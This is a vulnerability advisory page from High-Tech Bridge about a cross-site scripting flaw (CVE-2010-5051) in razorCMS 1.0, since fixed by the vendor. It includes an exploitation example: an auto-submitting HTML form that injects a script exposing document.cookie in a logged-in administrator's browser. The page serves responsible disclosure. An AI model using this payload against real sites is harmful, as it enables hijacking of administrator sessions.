We have helped our customers to fix 23 937 vulnerabilities
+41 22 723 24 24 | sales@htbridge.com | Request Call Back
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Scripting Vulnerability in razorCMS

Advisory ID:HTB22376
Product:razorCMS
Vendor:morgan integrated systems limited
Vulnerable Versions:1.0 stable and probably prior
Tested Version:1.0 stable
Advisory Publication:May 10, 2010 [without technical details]
Vendor Notification:May 10, 2010
Public Disclosure:May 24, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-5051
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in razorCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in razorCMS: CVE-2010-5051
The vulnerability exists due to input sanitation error in the "content" parameter in /admin/core/admin_func.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?action=edit&slab=home" method="post" name="main" >
<input type="hidden" name="title" value="Home" />
<input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />
<input type="hidden" name="ptitle" value="" />
<input type="hidden" name="theme" value="theme-default" />
<input type="hidden" name="check_sidebar" value="sidebar" />
<input type="hidden" name="save" value="Save Content" />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22376- https://www.htbridge.com/advisory/HTB22376 - Cross-site Scripting Vulnerability in razorCMS
[2] razorCMS - www.razorcms.co.uk - razorCMS is an open source flat file php content management system for apache web servers, works without a database and is offered for free on GPL licence
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.